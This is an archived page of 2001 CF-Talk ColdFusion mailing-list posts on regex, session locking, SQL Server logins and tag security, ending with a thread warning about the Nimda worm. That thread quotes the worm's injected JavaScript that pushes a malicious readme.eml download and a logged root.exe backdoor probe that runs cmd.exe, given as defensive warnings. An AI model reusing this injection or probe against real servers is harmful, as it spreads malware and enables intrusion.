install. You can do alot of things in one line shell.

On Fri, 28 Dec 2001, stas wrote:

 Okay, I'm convinced! Any suggestions then for a general-purpose language
 that I could run on my desktop for text/file processing and database
 connectivity? I like PERL, but I am still at the level where I always hav
e
 to grab a book to look up syntax, as its syntax doesn't render itself to
 quick memorization, in my opinion. Thanks!

 - Original Message -
 From: Dave Watts [EMAIL PROTECTED]

 substitute for Perl or any other general-purpose programming language for
 non-CGI programs. Overall, I'd recommend that you use Perl, or another
 language, instead of CF for these tasks.



__
Why Share?
  Dedicated Win 2000 Server · PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionc
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: More regexp madness -studio enhancement request?

2001-12-27 Thread Mark W. Breneman

Does any one see a need to store an often used reg. exp. snippet in studio
and have the ability to execute it from something like a snippet or button?

I have a regexp pattern that I use for converting plain HTML form fields
into smart form fields. (repopulates the form fields if a required field is
missed in server side validation.  And, uses form data in place of queried
data)   I would love to make a automated snippet that would run the regexp
pattern just by clicking on it.

Dose anyone else see a need for this?  Or, should I give up lobbying MM to
add this to studio 6.

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: Andre Turrettini [mailto:[EMAIL PROTECTED]]
Sent: Thursday, December 27, 2001 10:18 AM
To: CF-Talk
Subject: RE: More regexp madness


Hi Kay,
this worked ok for me.  Pretty much right off your post.
DRE

cfset ugly = '!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.0
Transitional//EN'
cfset attributes.bodytext='!DOCTYPE HTML PUBLIC -//W3C//DTD HTML
4.0
Transitional//EN helllo hello'
cfset attributes.bodytext = replace(attributes.bodytext,
ugly,,ALL)

form
textarea cols=50
rows=6CFOUTPUT#attributes.bodytext#/CFOUTPUT/textarea
/form

-Original Message-
From: Kay Smoljak [mailto:[EMAIL PROTECTED]]
Sent: Thursday, December 27, 2001 9:13 AM
To: CF-Talk
Subject: More regexp madness


Hi all,

I am trying to do what seems like a simple task, but it's just not
playing ball and I have no idea what I am doing wrong.

I have a block of super-ugly ms-marked up text. There is a particular
character sequence I want to get rid of - !DOCTYPE HTML PUBLIC
-//W3C//DTD HTML 4.0 Transitional//EN. Because it has so many
special
chars in it, the only way I could think of getting it into a variable
is
by using CFSAVECONTENT. So, I have this:

cfsavecontent variable=ugly!DOCTYPE HTML PUBLIC -//W3C//DTD
HTML
4.0 Transitional//EN/cfsavecontent

My text block is in a var called #attributes.bodytext#. I then try to
remove the above string like this:
cfset attributes.bodytext=
replace(attributes.bodytext,#ugly#,,ALL)

But when I then output both of these vars (I do it in textareas so it
displays properly in the browser), attributes.bodytext is unchanged.

I have tried replacenocase, rereplace and rereplacenocase, but nothing
is working. If anyone can shed any light I would really appreciate it!

Ta,
K.


__
Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusiona
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



single threaded sessions time out.

2001-12-20 Thread Mark W. Breneman

Riddle me this... Riddle me that

Why do I get a single threaded sessions time out error from time to time?
And then immediately a RequestTimeout from the same user?

We have single threaded sessions enabled in CF admin.

All of our new code this correctly locked, but we still have some old code
that sees very little traffic that is not locked.  So, turning on single
threaded sessions (low traffic sites) seemed like that should band-aid the
problem until we do a rewrite.

The error is:


Unable to acquire lock for single threaded sessions within timeout period.
Please raise the request timeout limit to lengthen the time available to
acquire the lock.


The error occurred while processing an element with a general identifier of
(CFAPPLICATION), occupying document position (1:1) to (1:109).


Any info would be helpful.


Thanks!

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



Move cf mail folder?

2001-12-18 Thread Mark W. Breneman

My system drive is too small.

Has any one had any luck moving the mail directory?

I know that registry key should control where it goes. 
HKLM\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Mail\BaseDirectory

Can anyone verify this?  Also, are there other issues I should be aware of?

Thanks!

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer 
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Move cf mail folder?

2001-12-18 Thread Mark W. Breneman

Thanks!

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Howie Hamlin [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, December 18, 2001 2:10 PM
To: CF-Talk
Subject: Re: Move cf mail folder?


That registry entry definitely works.  I would do the following:

1 - shut down CF

2 - copy all files to new drive (make sure you have all the needed folders
like UNDELIVR and LOGS)

3 - restart CF.

HTH,

Howie

- Original Message -
From: Mark W. Breneman [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Tuesday, December 18, 2001 3:05 PM
Subject: Move cf mail folder?


 My system drive is too small.

 Has any one had any luck moving the mail directory?

 I know that registry key should control where it goes.
 HKLM\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Mail\BaseDirectory

 Can anyone verify this?  Also, are there other issues I should be aware
of?

 Thanks!

 Mark W. Breneman
 -Macromedia Certified ColdFusion 5 Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com


__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



OT: SQL 2000 can't log in other then trusted connection

2001-10-05 Thread Mark W. Breneman

Sorry for the OT.  I am at my wits end with this issue.  I know there are a
few expert SQL admins out there.

Just upgraded form SQL 7 to SQL 2000.  Restored the database into SQL 2000.
CF on the same box can talk to the SQL server happily using a trusted
connection. (but not a username/pass)  IF I use Enterprise manager from the
server using a trusted connection, I can admin it. I have added several
admin accounts in both windows and SQL, but I can not login with a username
and password.  I keep getting a message Connection failed:SQLState:'28000'
SQL Server Error 18452 Login failed for usernamehere.  Reason: Not
associated with a trusted SQL Server connection.

I have tried (and failed):
Switching the authentication to windows and SQL.
Adding admin account in windows.
Adding admin accounts in SQL
Using the sa account to log in.



Any idea what the problem might be?  Some New security is SQL 2000?  Issue
with the upgrade?

Thanks

Mark W. Breneman
-Cold Fusion Developer
-Network Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770
~~
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



Unsecured tags directory more than one???

2001-09-20 Thread Mark W. Breneman

We do CF hosting for our clients that we developed for.  Now one of the
clients will be maintaining their static pages and we will only be in charge
of the CF based store.

They will have FTP access to only their folder, but I am concerned that I am
opening up a security hole with the more powerful cf tags CFFILE,
CFREGISTRY, CFEXECUTE, etc.  I take security very seriously on my servers.
I would like to disable the tags for this one client not for the hole
server.  The CFadmin does just opposite.

I use CFEXECUTE to run a bat to restart PCanywhere if/when it goes down.  I
realize that I could run all of the tags from the Unsecured tags
directory.  My question is can I specify more then one Unsecured tags
directory?  Perhaps in the registry?

Mark W. Breneman
-Cold Fusion Developer
-Network Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770
~~
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



CODE BLUE WORM was: Code Red backdoor triggered?

2001-09-18 Thread Mark W. Breneman

Looks like a new virus called W32.Nimda.A@mm a variant on the proof of
concept code blue worm.

This virus has a two prong attack one via E-mail and via the Unicode Web
Traversal exploit.

the worm sends out probes to IIS servers attempting to spread by using the
Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised
servers may display a web page prompting a visitor to download an Outlook
file which contains the worm as an attachment. - Symantec
http:[EMAIL PROTECTED]
http://securityresponse.symantec.com/avcenter/venc/data/w32.bluecode.worm.ht
ml


Very little is know about the new W32.Nimda.A@mm virus.  Here is what I see.


If infected your webserver will include this text at the bottom of the home
page:

htmlscript language=JavaScript
window.open(readme.eml, null, resizable=no,top=6000,left=6000)
/script/html
htmlscript language=JavaScript
window.open(readme.eml, null, resizable=no,top=6000,left=6000)
/script/html

This JS will prompt you to download a file by the name of readme.eml which
contains the worm as an attachment.

This ia all I know now

Mark W. Breneman
-Cold Fusion Developer
-Network Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: webmaster [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 10:31 AM
To: CF-Talk
Subject: Re: Code Red backdoor triggered?


we're seeing a HUGE number of hits all containing :-
port=3641 probes and  URL=/c/winnt/system32/cmd.exe attempts and guess where
they're coming from ?
the exact same machines that rountinly have been doing the code red thing .

Damn




 Message -
From: Paris Lundis [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Tuesday, September 18, 2001 8:02 AM
Subject: RE: Code Red backdoor triggered?


 Uggh! not the code-red variations again...

 Can you tell us Rich if it is impacting the servers ?? Are  you
 patched, and does this thing use something new or is it the same
 exploit as before...

 Seems like it is becoming a net-30 terror :)

 -paris
 [finding the future in the past, passing the future in the present]
 [connecting people, places and things]


 -Original Message-
 From: Rich Wild [EMAIL PROTECTED]
 Date: Tue, 18 Sep 2001 15:37:13 +0100
 Subject: RE: Code Red backdoor triggered?

  even we're getting hammered with syn flood attacks.
 
  Rich Wild
 
   -Original Message-
   From: Dave Watts [mailto:[EMAIL PROTECTED]]
   Sent: 18 September 2001 15:52
   To: CF-Talk
   Subject: FW: Code Red backdoor triggered?
  
  
   It seems there may be some unusual network activity today
   worth noting.
  
   Dave Watts, CTO, Fig Leaf Software
   http://www.figleaf.com/
   voice: (202) 797-5496
   fax: (202) 797-5444
  
  
   -Original Message-
   From: Dave Watts [mailto:[EMAIL PROTECTED]]
   Sent: Tuesday, 18 September, 2001 10:49
   To: [EMAIL PROTECTED]
   Subject: RE: Code Red backdoor triggered?
  
  
Heads up. Pay attention to your servers today. I just
started detecting a *ton* of these requests. I think it's
a follow-up worm programmed to take advantage of the
backdoors Code Red dropped on infected computers. Maybe a
Code Red III?
   
-Cameron
   
[09/18/2001 09:25:55.136 GMT-0400] Connection:
dhcp181.onewebsystems.com
(130.205.102.181) on port 80 (tcp).
[09/18/2001 09:25:55.166 GMT-0400] GET
/scripts/root.exe?/c+dir HTTP/1.0
Host: www
Connnection: close
  
   After a more careful reading, I don't think this is an attack
   at all. I
   think it's worse than an attack.
  
   The GET request doesn't do anything except run the DOS dir
   command using the
   command processor. But, if a server responds with an HTTP 200
   status code,
   this indicates that the server is vulnerable to running
   cmd.exe through the
   web server.
  
   So, my guess is that this is a vulnerability scan. Once a
   list of vulnerable
   servers is compiled, a real attack would take much less time
   than a Code
   Red-style attack, since you could build the list of
   vulnerable servers into
   the attack code!
  
   This idea has been discussed a bit in the last month or so -
   it's called a
   Warhol worm, the idea being that an attack might cover the mass
  of
   vulnerable machines in fifteen minutes. Here's a URL to the
  article:
  
   http://hacktivism.openflows.org/article.pl?sid=01/08/13/123724
  5mode=nocomme
  ntthreshold=
 
  Dave Watts, CTO, Fig Leaf Software
  http://www.figleaf.com/
  voice: (202) 797-5496
  fax: (202) 797-5444
  -
  ---
  
  Control your subscriptions to ACFUG lists via the ACFUG website at
 
 


~~
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http

<    1   2   3   4   >